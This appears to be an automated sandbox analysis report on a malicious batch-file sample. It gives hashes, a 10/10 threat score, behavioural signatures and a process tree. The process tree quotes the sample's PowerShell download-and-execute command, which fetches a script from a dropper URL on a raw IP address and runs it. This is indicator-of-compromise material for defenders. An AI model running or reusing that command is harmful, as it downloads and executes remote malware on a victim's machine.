Analysis
- max time kernel
136s - max time network
98s - platform
windows10_x64 - resource
win10v200430 - submitted
10/07/2020, 20:10
Static task
static1
Behavioral task
behavioral1
Sample
2211aeb68404653c6a42054308cf95e6.bat
Resource
win7
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
2211aeb68404653c6a42054308cf95e6.bat
Resource
win10v200430
0 signatures
0 seconds
General
- Target 2211aeb68404653c6a42054308cf95e6.bat
- Size 219B
- Sample200710-6pb5xw6kvx
- SHA256 2311d76b97db37109d14a91f693f468810b9e530aa7f6a9d75dc827757054d6a
- MD5 68b33bb8cfe6e6cfbc8be50a90b3084b
- SHA1 8b32c94506fe4bc67c38f6c1dbb955603dbc2ba4
- SHA512 6a328a1dc19ccddef2bb9aeb38fe874646b7789083360bb026435cb799e93b5a578713a53b45bb52a1f75327bc763054ebf2d2c53d2657dd20d88f89f8f84928
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
ps1.dropper
http://185.103.242.78/pastes/2211aeb68404653c6a42054308cf95e6
Signatures
- Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2804 wrote to memory of 992 2804 cmd.exe 67 PID 2804 wrote to memory of 992 2804 cmd.exe 67 PID 2804 wrote to memory of 992 2804 cmd.exe 67 - Program crash 1 IoCs
pid pid_target Process procid_target 1800 992 WerFault.exe 67 - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeRestorePrivilege 1800 WerFault.exe Token: SeBackupPrivilege 1800 WerFault.exe Token: SeDebugPrivilege 1800 WerFault.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 1800 WerFault.exe 1800 WerFault.exe 1800 WerFault.exe 1800 WerFault.exe 1800 WerFault.exe 1800 WerFault.exe 1800 WerFault.exe 1800 WerFault.exe 1800 WerFault.exe 1800 WerFault.exe 1800 WerFault.exe 1800 WerFault.exe 1800 WerFault.exe 1800 WerFault.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2211aeb68404653c6a42054308cf95e6.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2804 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/2211aeb68404653c6a42054308cf95e6');Invoke-LJICDRBAHEGJ;Start-Sleep -s 10000"2⤵PID:992
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 992 -s 7043⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1800
-
-